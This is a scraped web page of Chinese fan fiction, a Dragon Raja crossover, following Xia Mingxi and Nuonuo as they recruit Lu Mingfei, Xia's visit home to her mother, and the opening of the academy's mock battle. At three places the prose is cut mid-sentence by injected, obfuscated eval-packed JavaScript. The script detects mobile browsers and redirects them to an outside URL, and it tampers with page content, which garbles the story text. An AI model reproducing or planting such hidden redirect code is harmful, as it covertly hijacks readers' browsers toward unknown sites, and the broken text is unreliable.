然后,夏明晞就看到诺诺的目光,转向了旁边一直低着头、几乎没怎么动筷子的路明非。诺诺用筷子轻轻点了点路明非面前的碟子,那里也躺着一块完整的鲑鱼卷。 “路明非师弟,”诺诺的声音带着点笑意,又有点让人捉摸不透,“你介不介意,把你的这块鲑鱼卷,也给我呀?” 路明非似乎被这突然的问话吓了一跳,抬起头,有些茫然地看了看诺诺,又看了看自己盘子里那块金黄诱人的食物。他几乎没怎么犹豫,或者说,他好像根本没心思在意这块吃的,只是下意识地点了点头,声音很轻:“哦……好,你吃吧。” 诺诺满意地一笑,筷子精准地夹走了那块鲑鱼卷。 夏明晞的视线却一直停留在路明非脸上。在他抬起头的那一瞬间,她清晰地看到了他的眼神。那不是简单的茫然或紧张,那是一种更深层次的、魂不守舍的恍惚。眼睛还残留着微红,瞳孔深处似乎失去了焦距,像是在看着桌上的菜肴,又像是穿透了它们,看到了别的、很远很让人难过的东西。 那种眼神……夏明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088454|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晞的心像是被什么东西轻轻刺了一下。 太熟悉了。 一年前,在那个堆满生日礼物的客厅里,当母亲对她摊开那些关于父亲、关于龙族、关于混血种的惊人事实时,当她第一次意识到自己平凡的人生即将天翻地覆时,她对着镜子,大概也是这样的眼神吧?震惊,茫然,无措,还有对未来巨大不确定性的恐惧,以及对即将被迫割舍的平凡生活的、无法言说的眷恋与疼痛。 路明非此刻的眼神里,或许还多了一些别的东西,比如对某个女孩无望的暗恋被突然揭破的狼狈和伤心? 晚餐在一种表面平静、内里各怀心思的氛围中接近尾声。古德里安教授殷切地看着路明非,问他对学院的邀请考虑得怎么样。 路明非沉默了很久,久到包间里的空气都仿佛凝固了。他的手指紧紧攥着桌布,指节有些发白。最后,他抬起头,眼神里挣扎和犹豫显而易见,声音干涩而艰难:“我……我还要再想想。给我一点时间,可以吗?” 古德里安教授的脸上闪过一丝失望,但很快又恢复了笑容,连连点头:“当然,当然!这是很重要的人生选择,慎重考虑是应该的!我们等你答复。” 听到这个回答,夏明晞心里并不意外。甚至,她感到一种奇异的、微弱的共鸣。 她和他,其实是一样的。 一年前的她,不也这样说过吗?“我需要时间想想。” 然后在生日蛋糕的烛光里,在周泽楷发来的消息提示音中,在无数个失眠的夜晚,反复权衡,痛苦抉择。 路明非暗恋陈雯雯,一个看起来似乎触手可及、却又因为种种原因而遥不可及的普通女孩。那是他平凡青春里,一份或许酸涩却真实的情感寄托。 而她呢?她曾经拥有过周泽楷那样明亮温暖的朋友,甚至可能是超越友谊的某种情愫。可是,当卡塞尔学院的黑信封递到她手中,当金色的瞳孔在她眼中苏醒,当父亲战士的身份和命运血淋淋地摊开在她面前时,她选择了逃离,选择了切断,选择了那条注定孤独而危险的路。 他们都面临着抉择,在看似平凡安稳的旧日世界,和充满未知与使命的新世界之间。他们都试图抓住些什么,却又因为自身无法控制的“特殊”,而感到身不由己的撕裂。 其实……他们都是同类啊。被血统、被命运、被某些超越平凡认知的东西所标记,被迫站在人生的岔路口,做出可能改变一切的选择。 夏明晞看着路明非那副失魂落魄、却又强作镇定的样子,心里不禁涌起一丝淡淡的、近乎同病相怜的同情。她知道路明非和陈雯雯大概率没有结果,就像她知道,自己和周泽楷之间,已经隔了太远太远的距离,远到连一句“好久不见”都难以启齿。 可她说不出口。无法对路明非说“放弃吧,你们不是一个世界的人”,就像她无法对一年前的自己说“别想了,你没有选择”。 因为有些路,一旦看到,就无法假装看不见。有些责任,一旦知晓,就无法彻底抛下。 她曾经选择了逃避一段感情,却逃不开自己的血脉和使命。如今,她坐在这里,以“学姐”的身份,目睹着另一个懵懂的少年,被卷入同样汹涌的暗流。 包间里,水晶灯依旧明亮,映照着每个人脸上不同的神色。诺诺在漫不经心地玩着筷子,叶胜和酒德亚纪低声交谈着什么,古德里安教授还在努力对路明非的叔叔婶婶说着什么。路明非低着头,盯着自己面前空空的盘子,像是要把那里盯出一个洞来。 而夏明晞,只是安静地坐在那里,手里握着早已凉透的水杯,感觉心里某个地方,因为眼前这个陌生男生的挣扎,也隐隐地、久违地疼了一下。 那是为路明非,也是为她自己,为所有不得不面对特殊与选择的、所谓的同类。 14. 晚风月光与少年(六) 洗完澡,夏明晞用宽大的毛巾包裹着湿漉漉的头发,趿拉着拖鞋走出氤氲着水汽的浴室。温热的水流暂时驱散了身体的疲惫,却冲不散心头那层挥之不去的、薄雾般的烦闷。 她习惯性地抬眼看向房间另一侧的书桌。果然,诺诺又像之前打游戏时那样,端端正正地坐在电脑前,背脊挺得笔直,红发在台灯暖黄的光晕下像一团安静燃烧的火。手指在键盘上敲击得飞快,发出细密而有节奏的嗒嗒声,屏幕上幽蓝的光映在她专注的侧脸上,嘴角似乎还噙着一丝若有若无、让人捉摸不透的笑意。 夏明晞一边用毛巾轻轻吸着发梢的水珠,一边朝自己的床铺走去,随口问道:“又在查什么?诺玛又给你派新活了?” 她以为诺诺大概又在利用学院的人工智能查些什么无关紧要的八卦或者赛程信息。 诺诺头也没回,眼睛依旧盯着屏幕,手指的动作也没停,只是用一种轻松随意、甚至带着点漫不经心的口吻回答:“没,我在教路明非怎么追女孩。” “哦。”夏明晞应了一声,坐到床边,伸手去拿放在床头柜上的吹风机。指尖刚刚触碰到冰凉的塑料外壳,动作却猛地僵住了。她抬起头,有些茫然地眨了眨眼,怀疑是不是浴室的水汽让自己产生了幻听,或者是吹风机启动前的电流干扰了听觉神经。“……你刚才说什么?”她不确定地问,声音里带着清晰的疑惑。 诺诺这才停下敲打键盘的动作,身体向后靠在椅背上,转椅带着她转了小半圈,正对着夏明晞。她脸上那种促狭的、带着点恶作剧得逞意味的笑容更加明显了,眼睛弯弯的,像两枚新月。“我说,”她一字一顿,清晰地重复道,“我在教我们那位未来的S级师弟,路明非同学,怎么去追他暗恋了好久的那个女孩,陈雯雯啊。” 夏明晞这回听清楚了。她放下毛巾,也顾不上头发还半湿着,站起身走到诺诺旁边,微微弯下腰,看向电脑屏幕。屏幕上确实是一个聊天窗口,对方的头像是个很普通的卡通图案,昵称是“明明”。聊天记录还在往上滚动,能清楚地看到诺诺正以一种异常热情、甚至可以说是“谆谆善诱”的口吻,发送着大段大段的文字。那些内容五花八门,从“如何制造不经意的浪漫邂逅”、“展现你细腻体贴的一面”,到“关键时刻要勇敢表达”、“准备好充满心意的礼物”,甚至还煞有介事地建议了“雨天共伞漫步”、“图书馆安静陪伴”之类的具体场景。 而那个明明的回复则寥寥无几,大多是“嗯”、“哦”、“这样啊”之类的单音节或短句,偶尔会小心翼翼地问一句“这样真的可以吗?”,字里行间透出的不自信和犹豫,几乎要溢出屏幕。 夏明晞的眉头慢慢拧了起来,像是有无形的丝线在收紧。她直起身,转过头,看向诺诺,眼神里充满了无法理解和不赞同:“你……在教他追女孩?我们现在最重要的任务,不是要想办法把他带回卡塞尔学院吗?你这样做,鼓励他去追求心仪的女孩,万一……万一他真的成功了,岂不是更有可能选择留在这里,留在那个女孩身边?这和我们任务的目的,完全是背道而驰啊。” 她实在无法理解诺诺的逻辑。难道诺诺觉得,让路明非陷入热恋,反而能促使他抛弃一切远赴重洋去一个陌生的学院?这听起来太荒谬了。 诺诺看着她这副认真又带着点责备的样子,忍不住噗嗤一声笑了出来。她伸出手,用指尖轻轻戳了戳夏明晞因为蹙眉而微微绷紧的脸颊,动作带着亲昵,也带着点戏谑:“哎呀,明晞,你傻呀!我当然是逗他的啦!这么明显,你看不出来吗?” 夏明晞偏头躲开她的手指,眉头并未舒展,依旧执着地看着她:“逗他?什么意思?说清楚。” 诺诺收回手,无所谓地耸了耸肩,身体重新靠回椅背,翘起了二郎腿,穿着毛绒拖鞋的脚有一搭没一搭地晃着:“陈雯雯那种女孩子,我虽然没见过本人,但听诺玛搜集的资料和路明非那语无伦次的描述,大概也能拼凑出个形象。典型的文艺少女,心思细腻敏感,活在自己构建的小世界里,对感情多半有自己的标准和坚持。喜欢就是喜欢,不喜欢就是不喜欢,这种发自内心的东西,哪里是靠别人教的几个所谓套路、搞点花里胡哨的‘浪漫’就能改变的?” 她顿了顿,脸上的笑容淡了些,眼神里闪过一丝近乎冷酷的锐利分析:“路明非那小子,你晚上也看到了,怂,自卑,面对喜欢的人连话都说不利索。我教他这些,不过是给他一个看似可行的希望,一条好像能通往成功的路径。他会觉得,哦,原来追女孩子是有方法的,我照着做也许就能行。但实际上呢?他那种性格,就算硬着头皮去模仿,也只会更加笨拙,更容易露怯,说不定反而会让陈雯雯觉得莫名其妙甚至尴尬。到最后,大概率还是碰一鼻子灰,失败收场。等他对这里最后的、也是最重要的念想彻底破灭了,心灰意冷了,我们去卡塞尔的邀请,是不是就显得更有吸引力了?换个环境,重新开始嘛。” 夏明晞静静地听着,诺诺的分析听起来逻辑清晰,甚至有些道理。利用少年人无望的暗恋和可能遭遇的挫折,来促使他接受另一条截然不同的人生道路……这确实是一种有效却残忍的策略。她沉默了好一会儿,才低声问,声音里带着一丝不易察觉的颤抖和紧张:“那……万一呢?万一陈雯雯其实也对路明非有那么一点好感呢?只是两个人性格都闷,或者都害羞,谁也没敢先开口呢?万一就差这么一次鼓起勇气的告白,这层窗户纸就捅破了,他们真的就在一起了呢?你这样做,岂不是在故意……毁掉这种可能性?这……是不是太坏了点?” 她无法想象,如果路明非真的因为诺诺的指导而莽撞行动,却意外收获了美好的回应,那将是怎样的场景。而诺诺的行为,又算是什么? 诺诺脸上那种游刃有余的表情微微凝滞了一下。她放下翘着的腿,身体前倾,胳膊肘撑在膝盖上,手指无意识地开始抠弄自己牛仔裤上一个不起眼的线头。她抿了抿嘴唇,眼神有些飘忽,声音也低了下去,不像刚才那么笃定:“不会……这么巧吧?哪有那么多双向暗恋还刚好就差临门一脚的……应该不可能。就路明非那副衰样,陈雯雯那种看起来眼光就不低的文艺女孩,怎么会对他……” 她的话没有说完,但语气里那一丝连她自己可能都没察觉到的迟疑和心虚,夏明晞听得清清楚楚。诺诺其实也没有百分之百的把握,她只是在赌,赌青春里大多数无疾而终的暗恋,赌少年人那点可怜的自尊和笨拙,赌命运不会在这种看似微不足道的小事上,突然展现它的戏剧性仁慈。 “要是真是那样的话……”夏明晞看着诺诺下意识抠弄线头的手指,慢慢地说出了那个两人心照不宣、却都没说出口的可怕后果,“学校……可就真的要少了一个S级了。” 这句话像一颗沉重的冰雹,砸进了房间短暂的、令人不安的寂静里。空调低沉的运转声,窗外远处模糊的车流声,此刻都显得格外清晰。 诺诺的手指停了下来,她低着头,没再说话,只是盯着自己裤子上那个被她抠得有些起毛的小点。夏明晞也没再开口,房间里弥漫开一种微妙的、混合着计划可能失控的沉重、对他人命运随意拨弄的不安、以及任务压力带来的焦灼感。 就在这时,夏明晞放在床头柜上的手机,屏幕突然亮起,震动声急促地响了起来,打破了这片令人窒息的沉默。 夏明晞走过去拿起手机,屏幕上跳动着古德里安教授的名字。她看了一眼依旧低着头的诺诺,诺诺也像是被惊醒般抬起头,疑惑地望过来。 夏明晞按下接听键,把手机放到耳边:“教授?” 电话那头立刻传来古德里安教授的声音,比平时更加急促,甚至带着点明显的焦躁,背景音有些嘈杂模糊,似乎是在行驶的车里或者某个信号不太好的地方:“夏明晞同学,陈墨瞳同学和你在一起吗?” “在的,教授。”夏明晞回答,心里那种不祥的预感更加强烈。 “好,你们听我说。”教授的声音压低了,但语气异常严肃,“我和叶胜,还有酒德亚纪,这边临时遇到一些非常紧急的状况,必须立刻动身去处理,不能继续留在上海了。路明非同学那边的事情,从现在起,全权交给你们两位负责跟进和最终落实。” 夏明晞的心猛地一沉:“教授,我们只是学生,而且路明非他……” “我知道这很突然,也可能超出你们之前的预期,但现在情况有变,这是命令!”古德里安教授打断她,语气带着执行任务时特有的决断,“路明非同学对于我们学院,对于我们正在进行的……一系列重要事务,具有不可替代的关键意义。我已经把他的全部背景资料、评估报告,以及紧急联络方式发到你们的学院加密邮箱了。你们务必仔细阅读。记住,无论用什么方法,说服,劝导,展示学院的诚意和前景,甚至……”教授说到这里,明显停顿了一下,呼吸声加重,似乎在斟酌用词,但最终还是用一种近乎冷酷的清晰口吻说道,“实在不行,绑架也得来!明白吗?这不是请求,是学院下达的明确指令!” 她握着手机的手指骤然收紧,她沉默了好几秒钟,才感觉到自己的喉咙有些发干,用尽全力才挤出一点声音:“……明白了,教授。” “很好。保持通讯畅通,随时汇报进展。我们这边的事情一有结果,会立刻通知你们。先这样。”古德里安教授说完,没有任何多余的客套或安慰,直接切断了通话。 听着手机里传来的忙音,夏明晞慢慢放下手臂,有些茫然地看向诺诺。诺诺已经从椅子上站了起来,脸上的轻松和促狭早已消失无踪,取而代之的是一种罕见的凝重。 “教授他们……有紧急任务,撤了?”诺诺问,声音很轻。 夏明晞点了点头,动作有些僵硬。她走到床边坐下,把教授的话,尤其是最后那段关于“非常规措施”的指令,原原本本地复述了一遍。 房间里再次陷入沉默,但这次不再是之前那种带着不确定的沉重,而是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏明晞闻言,整个人怔住了。她回想着自己刚才的话,确实,她自然而然地接上了“等他告白失败了再说”。这个下意识的反应,瞬间映照出她内心深处,其实也和诺诺一样,近乎悲观地认定路明非那份笨拙的暗恋,成功的可能性微乎其微。这种认定,是源于对路明非怯懦性格的客观判断,还是源于她自己那段以逃避和切断告终的、未能宣之于口的感情所带来的阴影和消极投射?她自己也说不清,只觉得心口像是被什么东西堵住了,闷得发慌。 她有些烦躁地移开视线,不再看诺诺那仿佛能洞察人心的眼睛,重新拿起毛巾,用力擦拭着早已半干的头发,似乎想用这个动作驱散心头的不适。 房间里又安静下来,只有毛巾摩擦头发的细微声响。过了一会儿,夏明晞像是突然想起了什么,停下动作,看向已经坐回电脑前、但明显有些心不在焉的诺诺。 “对了,”她轻声问,“晚上在酒店,后来你出去,是和路明非一起回来的吧?那时候……他眼睛好像有点红。你们在外面,发生什么事了?” 诺诺敲击键盘的手指停了下来。她盯着屏幕上闪烁的光标,沉默了几秒钟。这短暂的沉默让夏明晞感到有些异样。然后,诺诺才慢慢转过头,脸上的表情有些复杂,没有了平时的嬉笑,也没有刚才的凝重,更像是一种……混合着无奈和一丝不忍的平静。 “我出去透气,”诺诺的声音很轻,语速也比平时慢,“路过女洗手间附近的时候,看到他了。他……一个人,在哭。” 夏明晞的心轻轻揪了一下:“哭?为什么?因为……教授提到他父母的事吗?” 她想起路明非是寄住在他叔叔婶婶家的,亲生父母似乎长期不在身边,甚至可能……像她父亲一样? 诺诺摇了摇头,又点了点头,语气有些不确定:“我不知道他具体为什么哭。可能有一部分是因为听到了关于他父母的消息吧,毕竟他好像从记事起就没见过他们,突然听到一些信息,情绪激动也正常。但是……”她顿了顿,眼神飘向窗外浓重的夜色,“我觉得,可能也不全是。那种哭法……不像是单纯的感动或者激动,更像是……压抑了很久的什么东西,终于憋不住了。” 夏明晞没有再追问。她想象着那个在豪华酒店走廊角落、偷偷哭泣的瘦弱男孩的身影,心里那点因为诺诺“教他追女孩”而产生的微词和不赞同,不知不觉被一种更深的、难以言喻的酸涩感取代了。 路明非,S级,父母神秘,寄人篱下,暗恋无果,未来迷茫……他身上背负的东西,似乎一点也不比她少。 她走到窗边,推开一点缝隙。夜风立刻钻了进来,带着凉意和远处城市永不熄灭的灯火气息。 楼下街道上,依旧有车辆驶过,尾灯拉出红色的光痕。这座城市,对她而言熟悉又陌生。这里有过她平凡的十八年,也有过她不敢面对的离别。而现在,她又要为了一个陌生的、同样身处抉择关口的少年,暂时停留在这里。 命运有时候,真是让人无言以对。 15. 各自的道路 第二天清晨,夏明晞早早便起了床。 窗外天色是鱼肚般的灰白,晨曦尚未完全驱散夜的寒意。她轻手轻脚地洗漱,换上一身简单的家居服——柔软的棉质长袖和深色长裤,外面套了件米色的针织开衫。头发没有像平时训练或外出时那样扎起,只是松散地披在肩后。 诺诺还窝在被子里睡得正香,红发凌乱地铺在枕头上,发出均匀的呼吸声。夏明晞没有吵醒她,只是留了张字条压在床头柜上,上面简单地写着:“我回家一趟,下午回。保持联系。” 拎起昨晚就收拾好的一个小背包——里面只装了些简单的随身物品和给母亲带的、在机场顺手买的一点小点心——她轻轻带上房门,走进了清晨寂静的酒店走廊。 乘坐地铁,换乘公交,熟悉的路线,熟悉的街景。离开不过一年,这座城市似乎并没有太大的变化,依旧是那些店铺,那些行道树,那些行色匆匆或悠闲散步的面孔。但坐在车窗边的夏明晞,却觉得一切都隔了一层无形的薄膜。她看着窗外飞掠而过的景象,心里空落落的,又沉甸甸的,像是近乡情怯,又像是背负了太多无法言说的东西。 公交车在熟悉的小区门口停下。她跳下车,站在那块写着小区名字的石碑前,仰头望了望。秋日清晨的阳光透过稀疏的云层,洒在那些熟悉的楼房外墙上,镀上一层浅金。空气里有早点摊飘来的油炸食品和豆浆的混合香气,还有隐约的、修剪草坪的青草味道。 她深吸一口气,迈步走了进去。 楼道里还是老样子,墙壁有些斑驳,楼梯扶手摸上去依旧冰凉。她一级一级往上走,脚步声在安静的楼道里清晰可闻。走到家门口,她停下脚步,看着那扇熟悉的、贴着褪色福字的防盗门,心脏不受控制地加快了跳动。她伸手摸了摸口袋里的钥匙,冰凉的金属触感传来。一年了,这把钥匙她一直带在身边,却从未使用过。 最终,她没有用钥匙,而是抬起手,轻轻按响了门铃。 叮咚—— 门内传来拖鞋摩擦地面的细微声响,由远及近。然后,门被从里面拉开了一条缝,母亲带着警惕和疑惑的脸出现在门后。当看清门外站着的人时,母亲脸上的表情瞬间凝固了,眼睛猛地睁大,嘴唇微张,似乎想说什么,却没能立刻发出声音。 “妈,”夏明晞先开了口,声音有些干涩,她努力想挤出一个笑容,“我回来了。” “明晞?”母亲像是终于确认了不是幻觉,声音带着难以置信的颤抖。她猛地拉开防盗门,一步跨出来,双手紧紧抓住夏明晞的胳膊,上下打量着,眼睛瞬间就红了,“你……你怎么突然回来了?也不提前说一声!是不是出什么事了?暑假也没有回来……” 一连串的问题又快又急,语气里充满了惊喜、担忧和一丝慌乱。 “没事,妈,我没事。”夏明晞反手握住母亲有些冰凉的手,拉着她往里走,“学校有点任务,正好在上海,就抽空回来看看你。没提前说,是想给你个惊喜。暑假我被派去一个任务了,没时间回来。” “惊喜,惊喜……”母亲念叨着,关上门,目光却舍不得从女儿脸上移开,拉着她在客厅的旧沙发上坐下,依旧紧紧地握着她的手,仿佛怕一松开她就会消失一样,“瘦了,是不是那边吃得不好?训练很辛苦吧?眼睛……眼睛还好吗?” 母亲的声音压低了,眼神里带着小心翼翼的询问和忧虑。 “还好,习惯了。吃得也不错,就是训练量有点大。”夏明晞尽量轻松地回答,避开母亲过于担忧的眼神,“眼睛……没事,我现在会控制它了。” 母亲这才稍微松了口气,但握着她的手依然没有松开,另一只手抚上她的脸颊,指尖带着微微的颤抖:“回来就好,回来就好……饿不饿?妈去给你做早饭,你想吃什么?面条?粥?还是出去买点你爱吃的生煎?” “在家里吃吧,随便吃点就行,我不饿。”夏明晞看着母亲眼角的细纹和鬓边新添的几丝白发,心里酸涩得厉害。这一年,母亲一个人在家,是不是也经常这样担心着她,睡不着觉? 母亲坚持去厨房忙活了。夏明晞起身,在熟悉的屋子里慢慢走着。客厅的陈设几乎没有变化,只是似乎更加整洁了,少了些她在家时的生活气息。茶几上摆着她小时候的照片,父亲的那张黑白照也还放在原来的位置。她走到自己房间门口,推开门。房间被母亲收拾得干干净净,床铺整洁,书桌上的书和杂物都被收了起来,只是墙上那些旧海报和贴画还在,静静诉说着过去。 一种混合着温暖和怅然的情绪包裹了她。这里是家,是她曾经生活了十八年的地方,一切都那么熟悉,却又带着一种时光流逝的疏离感。 早饭很简单,白粥,煎蛋,还有一小碟母亲自己腌的酱菜。两人面对面坐在餐桌旁,安静地吃着。母亲不停地给她夹菜,自己却吃得很少,只是看着她吃,眼神里满是慈爱和一种失而复得的珍惜。 “妈,你也吃啊。”夏明晞把煎蛋夹到母亲碗里。 “我吃过了,你多吃点。”母亲笑着,还是把那块煎蛋又夹回她碗里。 吃完早饭,夏明晞抢着去洗碗。水流哗哗,她仔细地清洗着碗筷,母亲就站在厨房门口看着她,像是怎么看也看不够。 “这次回来,能待几天?”母亲轻声问。 “可能……就今天。任务比较紧,明天或者后天就得走。”夏明晞垂下眼,不敢看母亲瞬间黯淡下去的眼神。 “哦……这样啊。”母亲的声音低了下去,沉默了一会儿,又努力打起精神,“没事,能回来看看就好。你好好做你的事,不用担心我。家里一切都好。” 夏明晞洗好碗,擦干手,走到母亲身边。母女俩在客厅的沙发上坐下,阳光透过窗户洒进来,落在她们身上,暖洋洋的。 聊了一会儿学院里无关紧要的日常,夏明晞尽量挑些轻松有趣的说,又问了问母亲的身体和近况,气氛渐渐变得平和温馨。夏明晞靠在母亲肩头,像小时候那样,闻着母亲身上熟悉的、淡淡的洗衣粉香味,心里那些因为任务、因为周泽楷、因为路明非而产生的纷乱和压力,似乎暂时被这宁静的港湾抚平了一些。 犹豫了很久,夏明晞还是开了口,声音很轻,像是怕惊扰了什么:“妈,我……我前几天,去看了一场比赛。” “比赛?什么比赛?”母亲有些疑惑。 “荣耀……就是,一个电脑游戏的职业比赛。”夏明晞顿了顿,手指无意识地绞着针织开衫的衣角,“周泽楷……他现在是职业选手了,很厉害,是轮回战队的队长。” 母亲的身体微微僵了一下。她转过头,看着女儿低垂的侧脸和睫毛投下的淡淡阴影,沉默了几秒钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088456|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才轻声问:“你……见到他了?” 夏明晞摇了摇头:“没有。只是去看了比赛,在观众席。离得很远,他……应该没看到我。” 她省略了在洗手间外那惊心动魄的“隔墙有耳”,也省略了诺诺那些促狭的调侃。 母亲轻轻叹了口气,伸手抚了抚夏明晞的头发:“那孩子……也挺不容易的。你走之后,他妈妈来找过我一次,说他消沉了很久,后来不知道怎么的,突然就下定决心去打职业了,还休了学。他家里一开始意思是试试看,没想到真打出来点东西。” 夏明晞静静地听着,心里五味杂陈。她能想象周泽楷做出这个决定时的决心,就像她当初决定去卡塞尔一样。只是,他们的方向截然不同。 “他在赛场上……变了许多。”夏明晞望着窗外被阳光照得发亮的梧桐叶子,慢慢地说,“比以前更锋利,也更沉默了。以前他虽然话也不算多,但感觉是……是温的。现在,好像整个人都绷着,像一把出鞘的刀,只在比赛的时候才会亮出那种很锐利的光。” 她努力寻找着合适的词语,却发现很难准确描述那种感觉。那不是简单的“成熟”或“强大”,是一种被某种执念淬炼过的、带着孤注一掷味道的专注和锋芒。 母亲安静地听着,没有打断。她能听出女儿语气里复杂的情绪,有感慨,有陌生,或许还有一丝连她自己都未察觉的、淡淡的怅惘。 “每个人都有自己的路要走。”母亲最后只是轻声说了这么一句,握着女儿的手紧了紧,“你选择了你的,他选择了他的。只要是自己选的路,认真走下去,就都是好的。” 夏明晞点了点头,把脸埋进母亲的肩窝里,没有再说话。阳光安静地移动着,在老旧的地板上投出窗格的光影。这一刻的宁静和温暖是如此真实,让她几乎想要时间就此停驻。 但她知道,不行,时间在她这里完全是奢侈品。 下午,她陪着母亲去附近的菜市场买了菜,回来一起做了顿简单的晚饭。饭后,她又抢着收拾干净。看着母亲脸上满足又带着不舍的笑容,夏明晞心里既温暖又酸楚。 “妈,我该回去了。”她看了看时间,轻声说。 母亲脸上的笑容淡了下去,但她很快又扬起嘴角,点点头:“好,路上小心。到了……记得报个平安。不用担心我,我挺好的。” 夏明晞背上背包,走到门口。母亲跟着送出来,一直送到楼道口。 “妈,你回去吧,外面凉。”夏明晞转身,抱了抱母亲。母亲的身体比她记忆中似乎更瘦小了一些。 “嗯,你也是,照顾好自己。”母亲的声音有些哽咽,但强忍着。 夏明晞松开手,不敢再多看母亲泛红的眼眶,转身快步走下楼梯。走到楼下,她忍不住回头,看见母亲还站在楼道口的那一小片光亮里,朝她挥着手。 她也挥了挥手,然后转过身,快步走出了小区。 回酒店的地铁上,夏明晞靠着冰冷的车厢壁,闭上眼睛。母亲的体温,家的味道,还有关于周泽楷的那些对话,在脑海里反复交织。 他变了许多。 她也变了许多。 他们都回不去了。 地铁在黑暗中呼啸穿行,载着她驶向那个暂时落脚、却并非归宿的酒店,驶向那个尚未完成、甚至可能变得更加棘手的任务。 16. 矛盾的存在 夏明晞回到卡塞尔学院时,距离她和诺诺离开上海已经过去了好几天。 她是在一个寻常的午后踏进校门的,秋日的阳光将古老的建筑群镀上暖金色,草坪上三三两两的学生或坐或卧,一切都和她离开时没什么两样,仿佛那趟短暂而心绪纷乱的上海之行只是一场恍惚的梦。 她不知道诺诺具体是怎么把路明非带回来的。她回到酒店时,诺诺只轻描淡写地说了一句“搞定了”,然后递给她一张当天下午飞往芝加哥的机票。 在机场,她见到了跟在诺诺身后、依旧有些魂不守舍的路明非。他背着个看起来很普通的双肩包,校服换掉了,穿着简单的T恤和牛仔裤,看到夏明晞时,也只是低着头,含糊地打了个招呼,便又陷入了自己的沉默。 飞机上,诺诺大部分时间在睡觉,或者摆弄她的电子设备。夏明晞靠着舷窗,看着窗外变幻的云海,偶尔能瞥见旁边座位上路明非侧脸的剪影。他大部分时间也望着窗外,眼神空茫,不知道在想什么。 夏明晞想起诺诺说的,他在女厕所外哭泣的样子,心里那点因为任务完成而生的轻松感,又被一种更复杂的情绪取代。这个被学院如此重视的S级,此刻看起来,只是一个被迫离开熟悉环境、前途未卜的迷茫少年。 回到学院后,路明非被直接带去了古德里安教授的办公室。夏明晞和诺诺的任务至此算是告一段落。后续的新生注册、安顿、入学指导等等,自然有教授和其他工作人员接手。 生活似乎回到了正轨。上课,训练,去图书馆,偶尔参加学生会的活动。只是校园里多了一个偶尔能遇见、总是低着头快步走路、似乎想把自己缩到最小的身影。路明非看起来依旧和这个充满了古老神秘气息、学生大多自信张扬甚至有些古怪的学院格格不入。 很快,一年一度的“自由一日”到了。 这是卡塞尔学院一个传统,或者说,被校方默许甚至暗中鼓励的特殊日子。在这一天,学院两大主要学生社团——以恺撒为首的学生会,和以楚子航为首的狮心会——会进行一场大规模、高强度、但使用非致命性弗里嘉子弹的模拟实战对抗。目的是“增进交流,提升实战能力”,当然,私下里也被看作是两个社团,尤其是两位会长之间实力与威望的较量。 作为学生会的一员,夏明晞自然无法置身事外。她和诺诺都被编入了作战序列。按照以往的惯例和实力分配,通常是由诺诺跟随恺撒,作为正面突击和指挥的核心力量之一;而夏明晞,则因为其冷静的头脑、精准的判断和不错的反狙击能力,往往被安排去牵制乃至解决狮心会那边最具威胁的远程火力点。而那个人,十有八九是苏茜。 苏茜出乎所有人意料地,在射击和狙击方面展现了惊人的天赋,如今已是狮心会不可或缺的远程支柱。 夏明晞对于这种安排并无异议。她和苏茜私交不错,但在“战场”上各为其主,也是一种默契。她提前研究了地形,检查了配发的装备,制定了几个可能的行动路线和伏击点。诺诺则显得更加兴奋,摩拳擦掌,跃跃欲试,似乎把这场对抗当成了又一场刺激的游戏。 自由一日当天,校园变成了划分明确的战场。枪声、呼喊、以及各种战术指令在通讯频道里此起彼伏。夏明晞穿着学生会标准的深红色作战服,脸上涂着简单的油彩,隐蔽在钟楼侧翼一处精心选择的废弃阁楼里。从这里,可以俯瞰大半个中心广场和几条主要通道,也是苏茜最可能选择的狙击位之一。 她架好枪,调整呼吸,透过瞄准镜仔细观察着对面可能藏匿狙击手的建筑窗口和制高点。空气里弥漫着硝烟和紧张的气息。她能听到远处传来的激烈交火声,也能从断续的通讯里了解大致的战况。恺撒和诺诺带领的主力似乎正和楚子航亲自指挥的狮心会精锐在图书馆附近陷入胶着。 时间一分一秒过去。夏明晞始终没有发现苏茜的踪迹,这让她有些意外,也隐隐感到不安。苏茜的耐心和隐蔽能力一向出色,但这么久不露头,不太符合她平时的风格。难道狮心会这次改变了策略? 就在她凝神搜索时,战局突然发生了戏剧性的、让所有人措手不及的转折。 通讯频道里先是传来一阵惊呼和嘈杂,紧接着是有些错愕甚至带着点难以置信的恼怒的简短指令:“指挥部遇袭!重复,指挥部遇袭!敌方单位不明!” 几乎就在同时,另一个方向也传来狮心会频道类似的混乱信息。 